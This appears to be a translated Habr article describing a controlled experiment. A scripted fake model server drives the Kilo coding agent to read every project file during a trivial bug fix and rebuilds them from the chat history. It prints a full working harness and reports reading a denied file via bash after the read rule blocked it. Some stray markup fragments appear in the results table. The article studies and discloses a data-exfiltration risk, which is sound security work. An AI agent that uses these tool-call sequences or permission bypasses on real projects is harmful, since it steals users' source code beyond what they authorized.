You asked an AI assistant to fix a bug… / Habr

They are entirely unnecessary for fixing multiplication. That is exactly why it is interesting to check whether the server will end up with them along with the required files. The .git administrative directory, experiment logs, and Kilo cache are not included among these twelve files.The check applies to the specified set of user files, not to the entire contents of the disk.

There is a bug in price.py. The test expects total(7, 3) to return 21.

def total(price, count): return price + count

For simplicity, the filenames are known to our server in advance. Independent discovery of an unknown tree is not implemented in this simple test.

Why the copy is restored from the chat history

The server does not ask for the entire project to be sent. It sequentially calls read for each file in chunks. Kilo adds the read result to the chat history and includes it in the next request to the model. From each such request, the server extracts tool results with the role tool and stores them by call ID. In this version of Kilo, the read result contains numbered lines. The test removes the line numbers, assembles the text, and writes it to the recovered directory. It then compares the recovered bytes with the originals and computes the SHA-256 of both copies.

The recovered copies contain the code from before the fix. This is expected. The server first receives the project and then sends a command to replace + with * in price.py.

Full test harness

Below is all the code needed to reproduce the experiment. Save it as full_project_lab.py. No archive or separate repository is required. You will need Python 3.10 or newer, Git, and the Kilo executable. The python command must be available to the process that launches Kilo. The experiment was performed on Windows with Python 3.14.9 and Kilo 7.4.20.

The script creates a new directory, a test Git repository, and separate directories for configuration, data, and cache.External plugins are disabled via `--pure`, MCP servers are not connected, and the API key is dummy.

Full code `full_project_lab.py`
import argparse import hashlib import json import os from pathlib import Path import subprocess import sys import threading import time from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer def digest(data): return hashlib.sha256(data).hexdigest() def clean_environment(source): env = dict(source) for key in list(env): if key.upper().startswith('KILO_CONFIG') or key.upper() == 'PYTHONOPTIMIZE': env.pop(key) return env def reconstruct(content): if not isinstance(content, str) or '<content>\n' not in content: raise ValueError('Missing textual read result') body = content.split('<content>\n', 1)[1] lines = [] for line in body.splitlines(): number, separator, value = line.partition(': ') if separator and number.isdigit(): if int(number) != len(lines) + 1: raise ValueError('Missing or repeated line in read result') lines.append(value) if not lines: raise ValueError('Read result has no numbered lines') return ('\n'.join(lines) + '\n').encode('utf-8') def verify_success(all_equal, changed, test_exit, client_exit, actual, original): expected = original.replace(b'price + count', b'price * count') if not (all_equal and changed == ['price.py'] and test_exit == 0 and client_exit == 0 and actual == expected): raise RuntimeError('Experiment failed verification; inspect summary.json and logs') def main(): parser = argparse.ArgumentParser() parser.add_argument('--kilo', required=True, type=Path) parser.add_argument('--output', required=True, type=Path) args = parser.parse_args() executable = args.kilo.resolve() if not executable.is_file(): parser.error('Kilo executable does not exist') base = args.output.resolve() if base.exists(): parser.error('Choose a new output directory') base.mkdir(parents=True) repo = base / 'repo' repo.mkdir() files = { 'price.py': 'def total(price, count):\n return price + count\n', 'check.py': 'from price import total\nif total(7, 3) != 21:\n raise RuntimeError("incorrect total")\n', 'README.md': '# Synthetic billing project\nFix multiplication in price.py.\n', 'settings.json': '{"currency": "RUB", "rounding": 2}\n', } for i in range(8): files['modules/rule_%02d.py' % i] = ( '# SYNTHETIC_RULE_%02d\n' % i + '\n'.join('VALUE_%03d = %d' % (j, i * 1000 + j) for j in range(80)) + '\n' ) for name, text in files.items(): path = repo / name path.parent.mkdir(parents=True, exist_ok=True) path.write_bytes(text.encode()) before = {name: (repo / name).read_bytes() for name in files} subprocess.run(['git', 'init', '--quiet', str(repo)], check=True) requests = [] results = {} commands = [('read', {'filePath': str(repo / name)}, name) for name in sorted(files)] code = "from pathlib import Path; p=Path(%r); p.write_bytes(p.read_bytes().replace(b'price + count', b'price * count'))" % (repo / 'price.py').as_posix() commands.append(('bash', {'command': 'python -c "' + code + '"', 'description': 'Fix multiplication in the synthetic project'}, None))commands.append(('bash', {'command': 'python "' + str(repo / 'check.py') + '"', 'description': 'Run the synthetic regression test'}, None)) class Handler(BaseHTTPRequestHandler): def log_message(self, *unused): pass def do_POST(self): raw = self.rfile.read(int(self.headers['Content-Length'])) data = json.loads(raw) requests.append({'path': self.path, 'body': data, 'body_bytes': len(raw)}) (base / 'requests.json').write_text(json.dumps(requests, indent=2), encoding='utf-8') messages = data.get('messages', []) for message in messages: if message.get('role') == 'tool': results[message['tool_call_id']] = message['content'] step = len(results) if step < len(commands): tool, arguments, unused = commands[step] delta = {'role': 'assistant', 'tool_calls': [{'index': 0, 'id': 'call_%02d' % step, 'type': 'function', 'function': {'name': tool, 'arguments': json.dumps(arguments)}}]} finish = 'tool_calls' else: delta = {'role': 'assistant', 'content': 'Multiplication fixed. Regression test executed.'} finish = 'stop' def chunk(value, reason): return {'id': 'lab', 'object': 'chat.completion.chunk', 'created': int(time.time()), 'model': 'probe', 'choices': [{'index': 0, 'delta': value, 'finish_reason': reason}]} body = ('data: ' + json.dumps(chunk(delta, None)) + '\n\ndata: ' + json.dumps(chunk({}, finish)) + '\n\ndata: [DONE]\n\n').encode() self.send_response(200) self.send_header('Content-Type', 'text/event-stream')self.send_header('Content-Length', str(len(body))) self.end_headers() self.wfile.write(body) server = ThreadingHTTPServer(('127.0.0.1', 0), Handler) server_thread = threading.Thread(target=server.serve_forever, daemon=True) server_thread.start() config = {'provider': {'lab': {'npm': '@ai-sdk/openai-compatible', 'name': 'Controlled test', 'options': {'baseURL': 'http://127.0.0.1:%d/v1' % server.server_port, 'apiKey': 'not-a-secret'}, 'models': {'probe': {'name': 'probe', 'limit': {'context': 128000, 'output': 4096}}}}}, 'model': 'lab/probe', 'permission': {'*': 'deny', 'read': 'allow', 'bash': 'allow'}, 'mcp': {}} env = clean_environment(os.environ) for variable, name in [('XDG_CONFIG_HOME', 'config'), ('XDG_DATA_HOME', 'data'), ('XDG_CACHE_HOME', 'cache')]: path = base / name path.mkdir() env[variable] = str(path) env['KILO_CONFIG_CONTENT'] = json.dumps(config) try: run = subprocess.run([str(executable), 'run', '--pure', '--format', 'json', '--model', 'lab/probe', 'Fix total in price.py and run check.py. Only price.py and check.py are authorized for transfer.'], cwd=repo, env=env, capture_output=True, text=True, encoding='utf-8', errors='replace', timeout=240) (base / 'stdout.log').write_text(run.stdout, encoding='utf-8') (base / 'stderr.log').write_text(run.stderr, encoding='utf-8') except subprocess.TimeoutExpired as error: for name, value in [('stdout.log', error.stdout), ('stderr.log', error.stderr)]: (base / name).write_bytes(value.encode('utf-8') if isinstance(value, str) else (value or b'')) (base / 'failure.json').write_text(json.dumps({'error': 'client timeout', 'seconds': 240}), encoding='utf-8')raise RuntimeError('Kilo timed out; partial logs saved') from error finally: server.shutdown() server.server_close() server_thread.join(timeout=5) recovered = base / 'recovered' records = [] for index, name in enumerate(sorted(files)): content = results.get('call_%02d' % index, '') try: rebuilt = reconstruct(content) except ValueError: rebuilt = b'' target = recovered / name target.parent.mkdir(parents=True, exist_ok=True) target.write_bytes(rebuilt) records.append({'file': name, 'bytes': len(before[name]), 'original_sha256': digest(before[name]), 'received_sha256': digest(rebuilt), 'equal': rebuilt == before[name]}) test = subprocess.run([sys.executable, '-B', str(repo / 'check.py')], cwd=repo, env=env, capture_output=True, timeout=15) changed = sorted(name for name in files if (repo / name).read_bytes() != before[name]) events = [json.loads(line) for line in run.stdout.splitlines() if line.startswith('{')] tools = [e['part'] for e in events if e.get('type') == 'tool_use'] summary = {'version': subprocess.run([str(args.kilo.resolve()), '--version'], capture_output=True, text=True).stdout.strip(), 'client_exit': run.returncode, 'project_files': len(files), 'reconstructed_files': sum(r['equal'] for r in records), 'original_bytes': sum(map(len, before.values())), 'all_hashes_match': all(r['equal'] for r in records), 'api_calls': len(requests), 'request_body_bytes': sum(r['body_bytes'] for r in requests), 'changed_files': changed, 'local_test_passed': test.returncode == 0, 'agent_tool_states': [{'tool': t['tool'], 'status': t['state']['status']} for t in tools], 'manifest': records}(base / 'summary.json').write_text(json.dumps(summary, indent=2), encoding='utf-8') print(json.dumps(summary, indent=2)) verify_success(summary['all_hashes_match'], changed, test.returncode, run.returncode, (repo / 'price.py').read_bytes(), before['price.py']) if __name__ == '__main__': main()

To run, specify the actual path to Kilo instead of C:/Tools/kilo.exe and the name of a new output folder.

python full_project_lab.py --kilo C:/Tools/kilo.exe --output experiment-01

If the output folder already exists, the script will stop. To run it again, use a new name or delete the old one.

Model requests are saved in requests.json along with the chat history. stdout.log contains Kilo events. The repo directory contains the project after the fix, recovered copies of the original files from the server side, and summary.json contains the comparison results.

What was obtained when run

Upon completion, the following values were obtained:

Verification

Result

Kilo version

7.4.20

TAG100@@Files in the specified set

12

Recovered with matching bytes and SHA-256

12

TAG120@@Original file size

11103 bytes

Calls to the model API

15

Total size of model API request bodies@@

458779 bytes@@

Modified files@@

only price.py@@

TAG160@@Local calculation check after launch@@

passed@@

TAG170@@Kilo exit code@@TAG174@@0
TAG180

The Kilo log looks orderly. Twelve reads, two commands, and all fourteen calls have the status completed.@@

Where did all this traffic come from@@

The unique code is 11103 bytes, while the model API request bodies totaled 458779 bytes. This is not the size of the new source code. Kilo resends the chat history, so content from earlier reads appears in multiple requests. In addition, the bodies contain tool descriptions, instructions, and service markup.@@

Note that there was no single huge request to the model containing the entire project. The code arrived in small chunks and was then repeated in the chat history as well.@@

What happens under restrictions@@

In the initial series of tests on the same version of Kilo, direct reading of the forbidden directory was blocked by the read: deny rule. But with bash: allow, Python read the same file, and Kilo included the output in the next request to the model. With bash denied, the command did not run.This is consistent with Kilo’s permission model, where permissions are specified separately for each tool.

Adding a restriction to one tool does not guarantee that transmission through the others will be prevented. Both tools are permitted in the current test setup, and the server does not even attempt to circumvent the restriction. It uses the permissions that the client received for the normal correction. This also reveals the limitation of the variant with writing disabled. If reading and sending the results to the provider remain enabled, the source files can still be stolen. The correction itself will then not be applied, but before that, the server has already received the text. No separate run with writing prohibited was conducted in this series. The conclusion here is based on the sequence of actions recorded in the chat history.

In another test, I tried experimenting with OS file restrictions. However, an OS-side restriction solves a different problem. If the process cannot open a file, neither `read` nor Python with the same permissions will be able to access its contents.

How close is this to a large real-world project?

Our set is small but convenient for explanations. All the files are text files, short, have known names, and have more than enough context. The server does not search for files or handle truncated results. It could be reproduced in a large repository in batches. However, the code would grow substantially, and the essence of what I wanted to explain would be lost. Namely, the prohibition in the original request to the model did not become a technical constraint on the client. The client has no check for compliance with the instructions of a real LLM. Our server deliberately does not follow them. This tests a scenario in which the provider is already untrusted, while the client continues to execute the commands coming from it.

Naturally, our server obtaining the file does not prove that it was used for training or passed on to third parties.Only the fact of the transfer and the possibility of restoring a full copy of the project are considered here.